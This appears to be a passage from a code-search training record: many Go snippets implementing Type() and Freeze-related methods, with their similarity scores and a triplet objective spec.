this.Operand().Type()\n}", "func (obj GoObject) Type() Type {\n\treturn GetGoType(reflect.TypeOf(obj.val))\n}", "func (def TypeDefinition) Type() Type {\n\treturn def.theType\n}", "func (o AzureMachineLearningServiceFunctionBindingOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v AzureMachineLearningServiceFunctionBinding) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o GetRulesRuleTargetOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetRulesRuleTarget) string { return v.Type }).(pulumi.StringOutput)\n}", "func (v *Value) Type() *JSONType {\n\tt := C.zj_Type(v.V)\n\tif t == nil {\n\t\treturn nil\n\t}\n\tret := JSONType(*t)\n\treturn &ret\n}", "func (o AzureMachineLearningStudioFunctionBindingOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v AzureMachineLearningStudioFunctionBinding) string { return v.Type }).(pulumi.StringOutput)\n}", "func (p RProc) Type() Type { return p.Value().Type() }", "func (v *VInteger) Type() string {\n\treturn \"integer\"\n}", "func (s SetValue) Type(ctx context.Context) attr.Type {\n\treturn SetType{ElemType: s.ElementType(ctx)}\n}", "func (v *ClassValue) Type() semantic.Type {\n\treturn v.Class\n}", "func (element *Element) Type(value string) *Element {\n\treturn element.Attr(\"type\", value)\n}", "func (o JavaScriptFunctionBindingOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v JavaScriptFunctionBinding) string { return v.Type }).(pulumi.StringOutput)\n}", "func (j *JSONData) Type() JSONType {\n\tif j == nil || j.value == nil { // no data\n\t\treturn JSONnil\n\t}\n\tvalue := *j.value\n\tif value == nil {\n\t\treturn JSONnull\n\t}\n\tif _, ok := value.(bool); ok {\n\t\treturn JSONboolean\n\t}\n\tif _, ok := value.(float64); ok {\n\t\treturn JSONnumber\n\t}\n\tif _, ok := value.(string); ok {\n\t\treturn JSONstring\n\t}\n\tif _, ok := value.([]interface{}); ok {\n\t\treturn JSONarray\n\t}\n\tif _, ok := value.(map[string]interface{}); ok {\n\t\treturn JSONobject\n\t}\n\tpanic(errors.New(\"JSONData corrupt\"))\n}", "func (o CSharpFunctionBindingOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CSharpFunctionBinding) string { return v.Type }).(pulumi.StringOutput)\n}", "func (attr *Attribute) Type() Type {\n\treturn attr.typ\n}", "func (o AzureMachineLearningServiceFunctionBindingResponseOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v AzureMachineLearningServiceFunctionBindingResponse) string { return v.Type }).(pulumi.StringOutput)\n}", "func (rv *ReturnValue) Type() ObjectType {\n\treturn RETURN_VALUE\n}", "func (s *Swift) Type() Type {\n\tif hasBranchCode(s.value) {\n\t\treturn Type11\n\t}\n\treturn Type8\n}", "func (n *piName) Type() Type {\n\treturn n.t\n}", "func (s Schemas) Type() Type {\n\tif s.TF != nil {\n\t\tswitch s.TF.Type {\n\t\tcase schema.TypeBool:\n\t\t\treturn TypeBool\n\t\tcase schema.TypeInt, schema.TypeFloat:\n\t\t\treturn TypeNumber\n\t\tcase schema.TypeString:\n\t\t\treturn TypeString\n\t\tcase schema.TypeList, schema.TypeSet:\n\t\t\treturn s.ElemSchemas().Type().ListOf()\n\t\tcase schema.TypeMap:\n\t\t\treturn TypeMap\n\t\tdefault:\n\t\t\treturn TypeUnknown\n\t\t}\n\t}\n\n\treturn TypeUnknown\n}", "func (reference *Reference) GetType() ValueType {\n\treturn REFERENCE\n}", "func (inst *InstMul) Type() types.Type {\n\t// Cache type if not present.\n\tif inst.Typ == nil {\n\t\tinst.Typ = inst.X.Type()\n\t}\n\treturn inst.Typ\n}", "func (o MetricTargetPatchPtrOutput) Type() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *MetricTargetPatch) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Type\n\t}).(pulumi.StringPtrOutput)\n}", "func (o CSharpFunctionBindingResponseOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CSharpFunctionBindingResponse) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o AzureMachineLearningStudioFunctionBindingResponseOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v AzureMachineLearningStudioFunctionBindingResponse) string { return v.Type }).(pulumi.StringOutput)\n}", "func (md *MetaData) Type(key ...string) string {\n\tif ki, ok := md.keyInfo[Key(key).String()]; ok {\n\t\treturn ki.tomlType.typeString()\n\t}\n\treturn \"\"\n}", "func (s S) Type() Type {\n\treturn s.typ\n}", "func (md *MetaData) Type() MetadataType {\n\treturn md.mdtype\n}", "func (this *ObjectLength) Type() value.Type { return value.NUMBER }", "func (this *ObjectLength) Type() value.Type { return value.NUMBER }", "func (e *Wildcard) Type() Type {\n\treturn UnknownType\n}", "func (s *StringPointerValue) Type() string {\n\treturn \"string\"\n}", "func (r *Riddler) Type() string {\n\treturn r.SourceType\n}", "func (this *NowStr) Type() value.Type { return value.STRING }", "func (rv *ReturnValue) Type() ObjectType { return RETURN_VALUE_OBJ }", "func (ts *TypeSet) Type(s string) Type {\n\tts.RLock()\n\tdefer ts.RUnlock()\n\treturn ts.types[s]\n}", "func (o ScalarFunctionPropertiesOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ScalarFunctionProperties) string { return v.Type }).(pulumi.StringOutput)\n}", "func (t Type) Type() string {\n\treturn t.typeName\n}", "func (Integer) Type() types.Type {\n\treturn types.Number\n}", "func (t *jsonDataType) Type() interface{} {\n\treturn \"\"\n}", "func (b baseValue) Type() string {\n\treturn string(b.flagType)\n}", "func (s Series) Type() Type {\n\treturn s.t\n}", "func (obj *SObject) Type() string {\n\tattributes := obj.AttributesField()\n\tif attributes == nil {\n\t\treturn \"\"\n\t}\n\treturn attributes.Type\n}", "func (o MonitoredResourceDescriptorOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v MonitoredResourceDescriptor) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o JavaScriptFunctionBindingResponseOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v JavaScriptFunctionBindingResponse) string { return v.Type }).(pulumi.StringOutput)\n}", "func (record Packed) Type() TagType {\n\trecordType, n := util.FromVarint64(record)\n\tif 0 == n {\n\t\treturn NullTag\n\t}\n\treturn TagType(recordType)\n}", "func (j *SearchHighlight) Type(v string) *SearchHighlight {\n\tj.Json.SetPath([]string{\"fields\", j.field, \"type\"}, v)\n\treturn j\n}", "func (this *Mod) Type() value.Type { return value.NUMBER }", "func (m *ModelAttr) Type() reflect.Type {\n\treturn m.dtype\n}", "func (d *Decoder) Type() (Type, error) {\n\n\t// start with 1 byte and append to it until we get a clean varint\n\tvar (\n\t\ttag uint64\n\t\ttagBytes []byte\n\t)\n\nreadTagByte:\n\tfor {\n\t\tvar singleByte = make([]byte, 1)\n\t\t_, err := io.ReadFull(d.input, singleByte)\n\t\tif err != nil {\n\t\t\treturn typeUninited, err\n\t\t}\n\t\ttagBytes = append(tagBytes, singleByte[0])\n\n\t\tvar byteCount int\n\t\ttag, byteCount = varint.ConsumeVarint(tagBytes)\n\t\tswitch {\n\t\tcase byteCount == varint.ErrCodeTruncated:\n\t\t\tcontinue readTagByte\n\t\tcase byteCount > 0:\n\t\t\tfmt.Fprintln(dbg, \"\\tvarint byteCount:\", byteCount)\n\t\t\tbreak readTagByte // we got a varint!\n\t\tdefault:\n\t\t\treturn typeUninited, fmt.Errorf(\"bipf: broken varint tag field\")\n\t\t}\n\t}\n\n\tfmt.Fprintf(dbg, \"\\tdecoded %x to tag: %d\\n\", tagBytes, tag)\n\n\t// apply mask to get type\n\td.currentType = Type(tag & tagMask)\n\tif d.currentType >= TypeReserved {\n\t\treturn 0, fmt.Errorf(\"bipf: invalid type: %s\", d.currentType)\n\t}\n\n\t// shift right to get length\n\td.currentLen = uint64(tag >> tagSize)\n\n\t// drop some debugging info\n\tfmt.Fprintln(dbg, \"\\tvalue type:\", d.currentType)\n\tfmt.Fprintln(dbg, \"\\tvalue length:\", d.currentLen)\n\tfmt.Fprintln(dbg)\n\tdbg.Sync()\n\n\treturn d.currentType, nil\n}", "func TypeOf(data []byte) Type {\n\tt := data[0]\n\n\t// FIXME: add additional validation\n\n\tswitch {\n\tdefault:\n\t\treturn invalid\n\tcase t == 'i':\n\t\treturn integer\n\tcase t >= '0' && t <= '9':\n\t\treturn str\n\tcase t == 'l':\n\t\treturn list\n\tcase t == 'd':\n\t\treturn dictionary\n\t}\n}", "func (o *PairAnyValueAnyValue) GetType() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.Type\n}", "func (o DatastoreOutput) TargetType() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Datastore) pulumi.StringOutput { return v.TargetType }).(pulumi.StringOutput)\n}", "func (s *Source) Type() string {\n\treturn TypeName\n}", "func (o SourceCodeTokenOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *SourceCodeToken) pulumi.StringOutput { return v.Type }).(pulumi.StringOutput)\n}", "func (o CustomClrSerializationOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CustomClrSerialization) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o MetricStatusOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v MetricStatus) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o MetricStatusOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v MetricStatus) string { return v.Type }).(pulumi.StringOutput)\n}", "func (this *NowMillis) Type() value.Type { return value.NUMBER }", "func (v *Variant) Type() *VariantType {\n\t// The return value is valid for the lifetime of value and must not be freed.\n\treturn newVariantType(C.g_variant_get_type(v.native()))\n}", "func (o ScalarFunctionPropertiesResponseOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ScalarFunctionPropertiesResponse) string { return v.Type }).(pulumi.StringOutput)\n}", "func (p *Predict) GetType() string {\n\treturn Type\n}", "func (p *Predict) GetType() string {\n\treturn Type\n}", "func (o StorageSettingOutput) Type() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v StorageSetting) *string { return v.Type }).(pulumi.StringPtrOutput)\n}", "func (o AzureSqlReferenceInputDataSourceResponseOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v AzureSqlReferenceInputDataSourceResponse) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o MfaPingidOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *MfaPingid) pulumi.StringOutput { return v.Type }).(pulumi.StringOutput)\n}", "func (d *Driver) Type() (t string) {\n\treturn \"go\"\n}", "func (o AzureSqlReferenceInputDataSourceOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v AzureSqlReferenceInputDataSource) string { return v.Type }).(pulumi.StringOutput)\n}", "func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}", "func (s *Service) Type() interface{} {\n\treturn (*s)[jsonldType]\n}", "func (o JsonSerializationOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v JsonSerialization) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o RawReferenceInputDataSourceOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RawReferenceInputDataSource) string { return v.Type }).(pulumi.StringOutput)\n}", "func (t Token) Type() Type {\n\ttyp, ok := tokenTypes[t]\n\tif !ok {\n\t\tpanic(fmt.Sprintf(\"token %q\", t.String()))\n\t}\n\treturn typ\n}" ]
[ "0.73556316", "0.71396637", "0.7072174", "0.6967342", "0.6960471", "0.69291276", "0.6924051", "0.6897344", "0.68691295", "0.68479174", "0.6796867", "0.6757388", "0.67203116", "0.67153203", "0.6670047", "0.6608092", "0.65924406", "0.6568637", "0.6563142", "0.6554397", "0.6533881", "0.65319675", "0.64937526", "0.64881015", "0.6466097", "0.64436847", "0.6422227", "0.63927263", "0.63882494", "0.6368505", "0.63622", "0.6352622", "0.63515383", "0.6329426", "0.6318624", "0.63181746", "0.63160324", "0.6307925", "0.6274267", "0.6269382", "0.6264627", "0.6246456", "0.624405", "0.62381554", "0.6234251", "0.6203893", "0.618433", "0.6184108", "0.61774284", "0.6172228", "0.61640006", "0.6160747", "0.6158313", "0.6152389", "0.6151811", "0.61494136", "0.61494136", "0.6138958", "0.6133704", "0.6128855", "0.61250275", "0.61105466", "0.6108463", "0.6103885", "0.6099208", "0.6096619", "0.60963434", "0.60949165", "0.609144", "0.6081655", "0.60795665", "0.60777", "0.60728836", "0.6069802", "0.60689664", "0.60668606", "0.60628605", "0.6060763", "0.6055523", "0.60546", "0.6048618", "0.604369", "0.60282904", "0.60259163", "0.60259163", "0.6020614", "0.6014159", "0.5999758", "0.5998848", "0.5998848", "0.5996439", "0.5996192", "0.5993402", "0.5992737", "0.59894013", "0.5988367", "0.5980359", "0.59777427", "0.5971458", "0.5968066" ]
0.65105665
22
Freeze implements the starlark.Value.Freeze() method.
func (t *Target) Freeze() {}
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (i *Index) Freeze() {\n\ti.frozen = true\n}", "func (p *Poly) freeze() {\n\tfor i := 0; i < n; i++ {\n\t\tp[i] = freeze(p[i])\n\t}\n}", "func freeze(o *goja.Object) {\n\tfor _, key := range o.Keys() {\n\t\to.DefineDataProperty(key, o.Get(key), goja.FLAG_FALSE, goja.FLAG_FALSE, goja.FLAG_TRUE)\n\t}\n}", "func (df *DataFrame) Freeze() { df.frozen = true }", "func (i *Instance) Freeze() {\n}", "func (v *ReadCloserValue) Freeze() {}", "func Freeze(x int32) int32 {\n\tx -= 9829 * ((13*x) >> 17)\n\tx -= 9829 * ((427*x + 2097152) >> 22)\n\ty := x + 9829\n\tv := subtle.ConstantTimeLessOrEq(int(x), -1)\n\treturn int32(subtle.ConstantTimeSelect(v, int(y), int(x)))\n}", "func (f *chainFreezer) freeze(db database.KeyValueStore) {\n\tnfdb := &nofreezedb{KeyValueStore: db}\n\n\tvar (\n\t\tbackoff bool\n\t\ttriggered chan struct{} // Used in tests\n\t)\n\tfor {\n\t\tselect {\n\t\tcase <-f.quit:\n\t\t\tlog.Info(\"Freezer shutting down\")\n\t\t\treturn\n\t\tdefault:\n\t\t}\n\t\tif backoff {\n\t\t\t// If we were doing a manual trigger, notify it\n\t\t\tif triggered != nil {\n\t\t\t\ttriggered <- struct{}{}\n\t\t\t\ttriggered = nil\n\t\t\t}\n\t\t\tselect {\n\t\t\tcase <-time.NewTimer(freezerRecheckInterval).C:\n\t\t\t\tbackoff = false\n\t\t\tcase triggered = <-f.trigger:\n\t\t\t\tbackoff = false\n\t\t\tcase <-f.quit:\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\t// Retrieve the freezing threshold.\n\t\thash := ReadHeadBlockHash(nfdb)\n\t\tif hash == (common.Hash{}) {\n\t\t\tlog.Debug(\"Current full block hash unavailable\") // new chain, empty database\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\t\tnumber := ReadHeaderNumber(nfdb, hash)\n\t\tthreshold := atomic.LoadUint64(&f.threshold)\n\t\tfrozen := atomic.LoadUint64(&f.frozen)\n\t\tswitch {\n\t\tcase number == nil:\n\t\t\tlog.Error(\"Current full block number unavailable\", \"hash\", hash)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\n\t\tcase *number < threshold:\n\t\t\tlog.Debug(\"Current full block not old enough\", \"number\", *number, \"hash\", hash, \"delay\", threshold)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\n\t\tcase *number-threshold <= frozen:\n\t\t\tlog.Debug(\"Ancient blocks frozen already\", \"number\", *number, \"hash\", hash, \"frozen\", frozen)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\t\thead := ReadHeader(nfdb, hash, *number)\n\t\tif head == nil {\n\t\t\tlog.Error(\"Current full block unavailable\", \"number\", *number, \"hash\", hash)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\n\t\t// Seems we have data ready to be frozen, process in usable batches\n\t\tvar (\n\t\t\tstart = time.Now()\n\t\t\tfirst, _ = f.Ancients()\n\t\t\tlimit = *number - threshold\n\t\t)\n\t\tif limit-first > freezerBatchLimit {\n\t\t\tlimit = first + freezerBatchLimit\n\t\t}\n\t\tancients, err := f.freezeRange(nfdb, first, limit)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Error in block freeze operation\", \"err\", err)\n\t\t\tbackoff = true\n\t\t\tcontinue\n\t\t}\n\n\t\t// Batch of blocks have been frozen, flush them before wiping from leveldb\n\t\tif err := f.Sync(); err != nil {\n\t\t\tlog.Critical(\"Failed to flush frozen tables\", \"err\", err)\n\t\t}\n\n\t\t// Wipe out all data from the active database\n\t\tbatch := db.NewBatch()\n\t\tfor i := 0; i < len(ancients); i++ {\n\t\t\t// Always keep the genesis block in active database\n\t\t\tif first+uint64(i) != 0 {\n\t\t\t\tDeleteBlockWithoutNumber(batch, ancients[i], first+uint64(i))\n\t\t\t\tDeleteCanonicalHash(batch, first+uint64(i))\n\t\t\t}\n\t\t}\n\t\tif err := batch.Write(); err != nil {\n\t\t\tlog.Critical(\"Failed to delete frozen canonical blocks\", \"err\", err)\n\t\t}\n\t\tbatch.Reset()\n\n\t\t// Wipe out side chains also and track dangling side chains\n\t\tvar dangling []common.Hash\n\t\tfrozen = atomic.LoadUint64(&f.frozen) // Needs reload after during freezeRange\n\t\tfor number := first; number < frozen; number++ {\n\t\t\t// Always keep the genesis block in active database\n\t\t\tif number != 0 {\n\t\t\t\tdangling = ReadAllHashes(db, number)\n\t\t\t\tfor _, hash := range dangling {\n\t\t\t\t\tlog.Debug(\"Deleting side chain\", \"number\", number, \"hash\", hash)\n\t\t\t\t\tDeleteBlock(batch, hash, number)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif err := batch.Write(); err != nil {\n\t\t\tlog.Critical(\"Failed to delete frozen side blocks\", \"err\", err)\n\t\t}\n\t\tbatch.Reset()\n\n\t\t// Step into the future and delete and dangling side chains\n\t\tif frozen > 0 {\n\t\t\ttip := frozen\n\t\t\tfor len(dangling) > 0 {\n\t\t\t\tdrop := make(map[common.Hash]struct{})\n\t\t\t\tfor _, hash := range dangling {\n\t\t\t\t\tlog.Debug(\"Dangling parent from Freezer\", \"number\", tip-1, \"hash\", hash)\n\t\t\t\t\tdrop[hash] = struct{}{}\n\t\t\t\t}\n\t\t\t\tchildren := ReadAllHashes(db, tip)\n\t\t\t\tfor i := 0; i < len(children); i++ {\n\t\t\t\t\t// Dig up the child and ensure it's dangling\n\t\t\t\t\tchild := ReadHeader(nfdb, children[i], tip)\n\t\t\t\t\tif child == nil {\n\t\t\t\t\t\tlog.Error(\"Missing dangling header\", \"number\", tip, \"hash\", children[i])\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif _, ok := drop[child.ParentHash]; !ok {\n\t\t\t\t\t\tchildren = append(children[:i], children[i+1:]...)\n\t\t\t\t\t\ti--\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\t// Delete all block data associated with the child\n\t\t\t\t\tlog.Debug(\"Deleting dangling block\", \"number\", tip, \"hash\", children[i], \"parent\", child.ParentHash)\n\t\t\t\t\tDeleteBlock(batch, children[i], tip)\n\t\t\t\t}\n\t\t\t\tdangling = children\n\t\t\t\ttip++\n\t\t\t}\n\t\t\tif err := batch.Write(); err != nil {\n\t\t\t\tlog.Critical(\"Failed to delete dangling side blocks\", \"err\", err)\n\t\t\t}\n\t\t}\n\n\t\t// Log something friendly for the user\n\t\tcontext := []interface{}{\n\t\t\t\"blocks\", frozen - first, \"elapsed\", common.PrettyDuration(time.Since(start)), \"number\", frozen - 1,\n\t\t}\n\t\tif n := len(ancients); n > 0 {\n\t\t\tcontext = append(context, []interface{}{\"hash\", ancients[n-1]}...)\n\t\t}\n\t\tlog.Infof(\"Deep froze chain segment: %+v\", context...)\n\n\t\t// Avoid database thrashing with tiny writes\n\t\tif frozen-first < freezerBatchLimit {\n\t\t\tbackoff = true\n\t\t}\n\t}\n}", "func (c *Container) Freeze() *Container {\n\tif c == nil {\n\t\treturn nil\n\t}\n\tif c.flags&flagDirty != 0 {\n\t\tif roaringParanoia {\n\t\t\tpanic(\"freezing dirty container\")\n\t\t}\n\t\t// c.Repair won't work if this is already frozen, but in\n\t\t// theory that can't happen?\n\t\tc.Repair()\n\t}\n\t// don't need to freeze\n\tif c.flags&flagFrozen != 0 {\n\t\treturn c\n\t}\n\tc.flags |= flagFrozen\n\treturn c\n}", "func (me TxsdAnimTimingAttrsFill) IsFreeze() bool { return me.String() == \"freeze\" }", "func (g *metadataGraph) freeze(ctx context.Context) {\n\tg.root.freeze(ctx)\n}", "func (d *Dam) Unlock() {\n\td.freeze.Unlock()\n}", "func (s *Sub) Freeze() {}", "func (p Path) Freeze() {}", "func main() {\n\tx := new(int)\n\t*x++ // ok\n\n\tx = freeze(x)\n\n\tfmt.Println(*x) // ok; prints 1\n\t//*x++ // not ok; panics!\n}", "func (recv *Object) FreezeNotify() {\n\tC.g_object_freeze_notify((*C.GObject)(recv.native))\n\n\treturn\n}", "func (sa *SuffixArray) Freeze() error { return sa.ba.Freeze() }", "func (s *inMemSpannerServer) Unfreeze() {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tclose(s.freezed)\n}", "func (iv *writeOnlyInterval) freeze(s *Schema) (*Interval, error) {\n\tif err := iv.closeCurrentSegment(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tiv.Segments = make([]*Segment, iv.NumSegments)\n\tfor i := 0; i < iv.NumSegments; i++ {\n\t\tif !iv.DiskBacked {\n\t\t\tiv.Segments[i] = &Segment{Bytes: iv.buffers[i].Bytes()}\n\t\t\tcontinue\n\t\t}\n\t\tfilename := iv.SegmentFilename(s, i)\n\t\tf, err := os.Open(filename)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmapped, err := mmap.Map(f, mmap.RDONLY, 0)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tiv.Segments[i] = &Segment{File: f, Bytes: mapped}\n\t}\n\treturn &iv.Interval, nil\n}", "func (d *Director) FreezeMonkey(rng *rand.Rand, intensity float64) {\n\tif intensity < 0.1 {\n\t\treturn\n\t}\n\ttarget := d.randomAgent(rng)\n\tduration := d.makeDuration(rng, 1000, intensity)\n\tlog.Printf(\"[monkey] Freezing %v for %v\", target, duration)\n\tgo target.Stop(duration)\n}", "func NewFreezeParams() *FreezeParams {\n\treturn &FreezeParams{\n\t\ttimeout: cr.DefaultTimeout,\n\t}\n}", "func (_OracleMgr *OracleMgrCaller) FreezePeriod(opts *bind.CallOpts) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _OracleMgr.contract.Call(opts, out, \"freezePeriod\")\n\treturn *ret0, err\n}", "func (*CapturedStacktrace) Freeze() {}", "func (s *Client) Freeze(username string) error {\n\tuser := s.Init(username)\n\tdata, err := json.Marshal(user)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\n\ttx, err := s.db.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\tstmt, err := tx.Prepare(`INSERT OR REPLACE INTO frozen_user (user_id, data)VALUES((SELECT id FROM users WHERE username = ?), ?);`)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer stmt.Close()\n\t_, err = stmt.Exec(username, string(data))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn tx.Commit()\n}", "func (n *SoupNode) Freeze() {}", "func (kb *KubeBackend) Unfreeze() error {\n\tlogrus.Infof(\"set deployment %s replica=1\", kb.ID())\n\tdeployment, err := kb.manager.di.Lister().Deployments(kb.manager.namespace).Get(kb.ID())\n\tif err != nil {\n\t\tif err := kb.manager.syncBackend(kb.ID()); err != nil {\n\t\t\tlogrus.Warnf(\"sycn app with error: %v\", err)\n\t\t}\n\t\treturn err\n\t}\n\tif *deployment.Spec.Replicas != 0 {\n\t\treturn nil\n\t}\n\tvar targetReplica int32 = 1\n\tdeployment.Spec.Replicas = &targetReplica\n\t_, err = kb.manager.client.AppsV1().Deployments(kb.manager.namespace).\n\t\tUpdate(context.Background(), deployment, metav1.UpdateOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\tkb.Lock()\n\tkb.stateStarting = true\n\tkb.stateHealthy = false\n\tkb.Unlock()\n\treturn nil\n}", "func (n *metadataNode) freeze(ctx context.Context) {\n\tn.assertNonFrozen()\n\n\t// md may be already non-nil for the root, this is fine.\n\tif n.md == nil {\n\t\tn.md = mergeIntoPrefixMetadata(ctx, n.prefix, n.acls)\n\t}\n\tn.acls = nil // mark as frozen, release unnecessary memory\n\n\tfor _, child := range n.children {\n\t\tchild.freeze(ctx)\n\t}\n}", "func (o *FreezeParams) WithTimeout(timeout time.Duration) *FreezeParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "func (d *Dam) Lock() {\n\td.freeze.Lock()\n}", "func updateFrozenState(db *IndexerDb, assetID uint64, closedAt *uint64, creator, freeze, holder types.Address) error {\n\t// Semi-blocking migration.\n\t// Hold accountingLock for the duration of the Transaction search + account_asset update.\n\tdb.accountingLock.Lock()\n\tdefer db.accountingLock.Unlock()\n\n\tminRound := uint64(0)\n\tif closedAt != nil {\n\t\tminRound = *closedAt\n\t}\n\n\tholderb64 := encoding.Base64(holder[:])\n\trow := db.db.QueryRow(freezeTransactionsQuery, freeze[:], holderb64, assetID, minRound)\n\tvar found uint64\n\terr := row.Scan(&found)\n\tif err != nil && err != sql.ErrNoRows {\n\t\treturn err\n\t}\n\n\t// If there are any freeze transactions then the default no longer applies.\n\t// Exit early if the asset was frozen\n\tif found != 0 {\n\t\treturn nil\n\t}\n\n\t// If there were no freeze transactions, re-initialize the frozen value.\n\tfrozen := !bytes.Equal(creator[:], holder[:])\n\tdb.db.Exec(`UPDATE account_asset SET frozen = $1 WHERE assetid = $2 and addr = $3`, frozen, assetID, holder[:])\n\n\treturn nil\n}", "func (_OracleMgr *OracleMgrCallerSession) FreezePeriod() (*big.Int, error) {\n\treturn _OracleMgr.Contract.FreezePeriod(&_OracleMgr.CallOpts)\n}", "func (r *RunCtx) Freeze() {\n}", "func (o *FreezeParams) WithContext(ctx context.Context) *FreezeParams {\n\to.SetContext(ctx)\n\treturn o\n}", "func (r *AccountDIDRegistry) UnFreeze(did DID) error {\n\texist := r.HasAccountDID(did)\n\tif !exist {\n\t\treturn fmt.Errorf(\"did %s not existed\", did)\n\t}\n\treturn r.auditStatus(did, Normal)\n}", "func (transaction *TokenUpdateTransaction) SetFreezeKey(publicKey Key) *TokenUpdateTransaction {\n\ttransaction._RequireNotFrozen()\n\ttransaction.freezeKey = publicKey\n\treturn transaction\n}", "func (c *TickMap) Freeze() []string {\n\tc.mlock.Lock()\n\tdefer c.mlock.Unlock()\n\ts := make([]string, len(c.m))\n\ti := 0\n\tfor key, _ := range c.m {\n\t\ts[i] = key\n\t\ti++\n\t}\n\treturn s\n}", "func (_OracleMgr *OracleMgrSession) FreezePeriod() (*big.Int, error) {\n\treturn _OracleMgr.Contract.FreezePeriod(&_OracleMgr.CallOpts)\n}", "func (o *FreezeParams) WithDefaults() *FreezeParams {\n\to.SetDefaults()\n\treturn o\n}", "func (r *AccountDIDRegistry) Freeze(did DID) error {\n\texist := r.HasAccountDID(did)\n\tif !exist {\n\t\treturn fmt.Errorf(\"did %s not existed\", did)\n\t}\n\treturn r.auditStatus(did, Frozen)\n}", "func (m *ClusterService) clusterFreeze(ctx context.Context, args struct {\n\tStatus bool\n}) (*proto.GeneralResp, error) {\n\tif _, _, err := permissions(ctx, ADMIN); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := m.cluster.setDisableAutoAllocate(args.Status); err != nil {\n\t\treturn nil, err\n\t}\n\treturn proto.Success(\"success\"), nil\n}", "func (gg GlobGroup) Freeze() {}", "func freezetheworld() {\n\tatomic.Store(&freezing, 1)\n\t// stopwait and preemption requests can be lost\n\t// due to races with concurrently executing threads,\n\t// so try several times\n\tfor i := 0; i < 5; i++ {\n\t\t// this should tell the scheduler to not start any new goroutines\n\t\tsched.stopwait = freezeStopWait\n\t\tatomic.Store(&sched.gcwaiting, 1)\n\t\t// this should stop running goroutines\n\t\tif !preemptall() {\n\t\t\tbreak // no running goroutines\n\t\t}\n\t\tusleep(1000)\n\t}\n\t// to be sure\n\tusleep(1000)\n\tpreemptall()\n\tusleep(1000)\n}", "func (p *BailServiceClient) FreezeBail(dealerId int64, amount float64, orderId int64) (r *Bail, err error) {\n\tif err = p.sendFreezeBail(dealerId, amount, orderId); err != nil {\n\t\treturn\n\t}\n\treturn p.recvFreezeBail()\n}", "func (s *Service) Frozen(ctx context.Context, req *pb.FrozenRequest) (*pb.FrozenResponse, error) {\n\tif !strings.HasPrefix(strings.Title(req.Address), \"Mx\") {\n\t\treturn nil, status.Error(codes.InvalidArgument, \"invalid address\")\n\t}\n\n\tcState := s.blockchain.CurrentState()\n\tcState.RLock()\n\tdefer cState.RUnlock()\n\n\tvar reqCoin *coins.Model\n\n\tif req.CoinId != nil {\n\t\tcoinID := types.CoinID(req.CoinId.GetValue())\n\t\treqCoin = cState.Coins().GetCoin(coinID)\n\t\tif reqCoin == nil {\n\t\t\treturn nil, s.createError(status.New(codes.NotFound, \"Coin not found\"), transaction.EncodeError(code.NewCoinNotExists(\"\", coinID.String())))\n\t\t}\n\t}\n\tvar frozen 